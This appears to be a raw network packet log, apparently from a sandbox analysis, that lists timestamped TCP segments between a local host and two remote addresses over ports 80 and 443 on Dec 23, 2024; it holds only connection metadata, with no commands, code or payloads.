Dec 23, 2024 06:54:28.555349112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.555391073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.555449009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.555483103 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.556441069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.556484938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.556526899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.556566000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.557491064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.557584047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.557631969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.558562040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.558605909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.558635950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.558674097 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.559654951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.559700012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.559784889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.559819937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.560689926 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.560738087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.560781956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.560816050 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.697412014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.697489023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.697518110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.697565079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.697971106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.698025942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.698101044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.698153019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.699032068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.699084997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.699148893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.699198008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.700107098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.700160027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.700207949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.700254917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.701189995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.701239109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.701271057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.701320887 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.702251911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.702302933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.702347994 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.702404022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.703430891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.703485012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.703568935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.703617096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.704449892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.704463005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.704498053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.704524040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.705482960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.705529928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.705585003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.705626011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.706562042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.706620932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.706621885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.706660986 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.707623005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.707679987 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.707722902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.707768917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.708766937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.708780050 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.708878994 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.709790945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.709849119 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.709892988 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.709937096 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.710838079 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.710887909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.710932970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.710977077 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.711911917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.711956024 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.712048054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.712095976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.712991953 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.713046074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.713085890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.713131905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.714051008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.714099884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.714142084 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.714190960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.715164900 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.715218067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.715250015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.715295076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.716217995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.716279030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.716310024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.716351032 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.717304945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.717356920 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.717398882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.717442036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.718369961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.718419075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.718450069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.718496084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.719480038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.719535112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.719614029 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.719661951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.720540047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.720593929 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.720630884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.720673084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.721574068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.721621990 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.721657038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.721709013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.722666979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.722717047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.723078012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.723126888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.723733902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.723783016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.723809004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.723856926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.724795103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.724844933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.724875927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.724924088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.725871086 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.725922108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.725959063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.726011038 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.726979017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.727029085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.727091074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.727137089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.728050947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.728102922 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.728122950 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.728167057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.729111910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.729161978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.729285955 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.729331017 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.730216026 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.730271101 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.730295897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.730345011 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.820101976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:28.939512014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:28.955027103 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:28.955127954 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:28.956887007 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:28.956902981 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:28.957700014 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:28.958950043 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:28.959014893 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:28.959023952 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:28.959115982 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:29.003329992 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:29.261193991 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.261256933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.261298895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.261326075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.261519909 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.261568069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.261574030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.261620045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.262152910 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.262206078 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.262290001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.262355089 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.263200998 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.263256073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.263286114 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.263329983 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.264259100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.264305115 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.264369011 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.264415979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.265328884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.265372992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.265403032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.265445948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.266432047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.266479015 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.391028881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.391160965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.391205072 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.391249895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.391505957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.391557932 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.391623974 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.391664028 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.392560005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.392613888 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.392983913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.393027067 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.393095016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.393138885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.394078016 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.394124031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.394157887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.394198895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.395114899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.395162106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.395206928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.395256996 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.396233082 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.396281958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.396318913 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.396358013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.397295952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.397382021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.397398949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.397443056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.398814917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.398864031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.398930073 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.398968935 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.399431944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.399471998 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.399528980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.399574041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.400476933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.400525093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.400604010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.400650978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.401576042 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.401622057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.401645899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.401685953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.519973040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.520068884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.520090103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.520134926 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.520505905 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.520555019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.520622015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.520668030 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.520736933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.520790100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.521703005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.521750927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.521799088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.521841049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.522784948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.522830963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.522876978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.522921085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.523875952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.523916960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.523981094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.524018049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.524957895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.525001049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.525136948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.525178909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.526144028 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.526186943 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.526237965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.526283979 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.527079105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.527117968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.527188063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.527235031 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.528179884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.528224945 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.528263092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.528305054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.529218912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.529264927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.529320002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.529364109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.530309916 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.530355930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.530410051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.530450106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.531389952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.531435013 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.531542063 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.531584978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.532469034 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.532517910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.532533884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.532569885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.533545971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.533591986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.533610106 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.533629894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.534635067 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.534672976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.534730911 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.534770012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.535701990 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.535742044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.535774946 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.535806894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.536870003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.536881924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.536911964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.537926912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.537940025 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.537971973 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.538000107 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.538942099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.538991928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.539025068 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.539068937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.539963007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.540009975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.540354967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.540404081 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.541030884 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.541070938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.541163921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.541213036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.542124033 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.542172909 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.542207003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.542246103 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.625624895 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:29.625782967 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:29.625864983 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:29.626235962 CET	49909	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:29.626254082 CET	443	49909	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:29.649291039 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.649377108 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.649398088 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.649424076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.649857044 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.649909019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.649965048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.650012970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.650887012 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.650942087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:29.650953054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:29.650991917 CET	49889	80	192.168.2.6	185.215.113.206
